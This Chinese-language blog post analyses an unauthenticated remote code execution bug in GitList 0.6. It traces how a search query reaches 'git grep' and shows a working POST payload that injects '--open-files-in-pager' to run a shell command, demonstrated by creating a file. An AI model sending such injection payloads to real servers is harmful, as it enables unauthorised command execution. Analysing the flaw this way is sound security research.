Chybeta

GitList 0.6 Unauthenticated RCE 分析

GitList 0.6 Unauthenticated RCE 分析

漏洞环境搭建

Gitlist 0.6 下载地址: https://github.com/klaussilveira/gitlist/releases/download/0.6.0/gitlist-0.6.0.tar.gz

解压出来后,将其中的config.ini-example重命名为config.ini,并将其中第四行修改指向repo的地址,以我为例:

1
repositories[] = '/home/chybeta/test/'

test目录下建立repo:

1
2
3
4
5
6
mkdir gitlist_rce
cd gitlist_rce
echo "chybeta" > README.md
git init
git add *
git commit -m "gitlist_rce"

其余问题,可以直接参考Installing GitList for Local Reposs

漏洞分析

在 gitlist/src/Controller/TreeController.php:51行:

1
2
3
4
5
6
7
8
9
10
11
<?
$route->post('{repo}/tree/{branch}/search', function (Request $request, $repo, $branch = '', $tree = '') use ($app) {
$repository = $app['git']->getRepositoryFromName($app['git.repos'], $repo);
if (!$branch) {
$branch = $repository->getHead();
}
$query = $request->get('query');
$breadcrumbs = [['dir' => 'Search results for: ' . $query, 'path' => '']];
$results = $repository->searchTree($query, $branch);
...

当我们在repo中进行搜索时,以搜索字符串”chybeta”为例

1
2
3
POST /gitlist/gitlist_rce/tree/master/search HTTP/1.1
query=chybeta

则对应的变量即为:

1
2
3
repo => gitlist_rce
branch => master
query => chybeta

进入到searchTree函数中,即gitlist/src/Git/Repository.php第320行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}

query参数经过了escapeshellarg函数的过滤,官方文档:

escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数。 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符.

之后进入run方法,gitlist/vendor/klaussilveira/gitter/lib/Gitter/Client.php:63:

1
2
3
4
5
6
7
8
9
public function run($repository, $command)
{
if (version_compare($this->getVersion(), '1.7.2', '>=')) {
$command = '-c "color.ui"=false ' . $command;
}
$process = new Process($this->getPath() . ' ' . $command, $repository->getPath());
$process->setTimeout(180);
$process->run();

$process = new Process()处最终构成的命令为:

1
/usr/bin/git grep -i --line-number 'chybeta' master

git grep命令中提到:

Open the matching files in the pager (not the output of grep). If the pager happens to be “less” or “vi”, and the user specified only one pattern, the first file is positioned at the first match automatically. The pager argument is optional; if specified, it must be stuck to the option without a space. If pager is unspecified, the default pager will be used (see core.pager in git-config[1]).

本意上,这个参数的作用是可以选择pager,比如less或者vi,在查找到匹配的文件后使用指定的pager打开。比如匹配到的文件是README.md,则相当于执行vi READEME.mdless README.md。但倘若我们指定--open-files-in-pager=id;,注意有一个;,则在匹配到文件后,则相当于执行id; README.md,在unix中分号表示顺序的执行各条命令而不关心是否失败。

不过在执行之前经过了escapeshellarg,会在字符串两边加上单引号,这会有影响吗?不会。

所以当构造如下的数据包:

1
2
3
POST /gitlist/gitlist_rce/tree/c/search HTTP/1.1
query=--open-files-in-pager=touch /tmp/test/chybeta

注意修改了tree/master/searchtree/c/search,也即使branch值为c,这样拼接出来的最后的语句即为:

1
/usr/bin/git grep -i --line-number '--open-files-in-pager=touch /tmp/test/chybeta' c

当进行查找时,由于READEME.md(内容为chybeta)中含有字符c,因此可以查找成功,之后由于注入参数的关系,将会执行touch /tmp/test/chybeta,将会在/tmp/test/目录下创建一个新的文件。

参考

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:GitList 0.6 Unauthenticated RCE 分析

文章作者:chybeta

发布时间:2018年04月30日 - 12:04

最后更新:2018年05月01日 - 20:05

原始链接:http://chybeta.github.io/2018/04/30/GitList-0-6-Unauthenticated-RCE-分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。